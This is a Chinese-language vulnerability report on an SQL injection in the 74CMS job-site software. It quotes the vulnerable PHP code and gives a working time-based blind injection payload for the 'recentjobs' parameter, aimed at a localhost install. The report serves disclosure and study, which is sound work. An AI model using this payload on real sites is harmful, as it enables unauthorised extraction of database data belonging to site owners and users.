74CMS最新版SQL注入漏洞

### 简要描述： ~~ ### 详细说明： 文件：/user/personal/personal_resume.php ``` //保存-求职意向 elseif ($act=='make2_save') { $resumeuid=intval($_SESSION['uid']); $resumepid=intval($_REQUEST['pid']); if ($resumeuid==0 || $resumepid==0 ) showmsg('参数错误！',1); $resumearr['recentjobs']=trim($_POST['recentjobs']); $resumearr['nature']=intval($_POST['nature'])?intval($_POST['nature']):showmsg('请选择期望岗位性质！',1); $resumearr['nature_cn']=trim($_POST['nature_cn']); $resumearr['district']=trim($_POST['district'])?intval($_POST['district']):showmsg('请选择期望工作地！',1); $resumearr['sdistrict']=intval($_POST['sdistrict']); $resumearr['district_cn']=trim($_POST['district_cn']); $resumearr['wage']=intval($_POST['wage'])?intval($_POST['wage']):showmsg('请选择期望月薪！',1); $resumearr['wage_cn']=trim($_POST['wage_cn']); $resumearr['trade']=$_POST['trade']?trim($_POST['trade']):showmsg('请选择期望从事的行业！',1); $resumearr['trade_cn']=trim($_POST['trade_cn']); $resumearr['intention_jobs']=trim($_POST['intention_jobs']); if ($_CFG['audit_edit_resume']!="-1") { $resumearr['audit']=$_CFG['audit_edit_resume']; } add_resume_jobs($resumepid,$_SESSION['uid'],$_POST['intention_jobs_id'])?"":showmsg('更新失败！',0); updatetable(table('resume'),$resumearr," id='{$resumepid}' AND uid='{$resumeuid}'"); updatetable(table('resume_tmp'),$resumearr," id='{$resumepid}' AND uid='{$resumeuid}'"); check_resume($_SESSION['uid'],intval($_REQUEST['pid'])); if ($_POST['go_resume_show']) { header("Location: ?act=resume_show&pid={$resumepid}"); } else { header("Location: ?act=make3&pid=".intval($_POST['pid'])); } } ``` 参数recentjobs没有过滤 进入updatetable进行更新 ``` function updatetable($tablename, $setsqlarr, $wheresqlarr, $silent=0) { global $db; $setsql = $comma = ''; foreach ($setsqlarr as $set_key => $set_value) { if(is_array($set_value)) { $setsql .= $comma.'`'.$set_key.'`'.'='.$set_value[0]; } else { $setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value.'\''; } $comma = ', '; } $where = $comma = ''; if(empty($wheresqlarr)) { $where = '1'; } elseif(is_array($wheresqlarr)) { foreach ($wheresqlarr as $key => $value) { $where .= $comma.'`'.$key.'`'.'=\''.$value.'\''; $comma = ' AND '; } } else { $where = $wheresqlarr; } return $db->query("UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where, $silent?"SILENT":""); } ``` 也没有过滤，导致SQL注入。 ### 漏洞证明： 加单引号后： [<img src="https://images.seebug.org/upload/201405/15195927511133dfd2f7faa64750b52a687835f0.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/15195927511133dfd2f7faa64750b52a687835f0.png) 下面使用盲注： ``` 链接：http://localhost/74cms/user/personal/personal_resume.php?act=make2_save POST：recentjobs=111111' WHERE uid='1' AND id='1' And if(mid(user(),1,1)='r',sleep(5),1)#&nature=62&nature_cn=%C8%AB%D6%B0&district_cn=%B1%B1%BE%A9%CA%D0%2F%B6%AB%B3%C7%C7%F8&district=1&sdistrict=35&wage_cn=3000%7E5000%D4%AA%2F%D4%C2&wage=59&intention_jobs=%CF%EE%C4%BF%BE%AD%C0%ED%2F%B2%FA%C6%B7%BE%AD%C0%ED&intention_jobs_id=19.20&trade_cn=%BD%F0%C8%DA%28%D2%F8%D0%D0%2F%B1%A3%CF%D5%29&trade=10&pid=1&go_resume_show=1 ```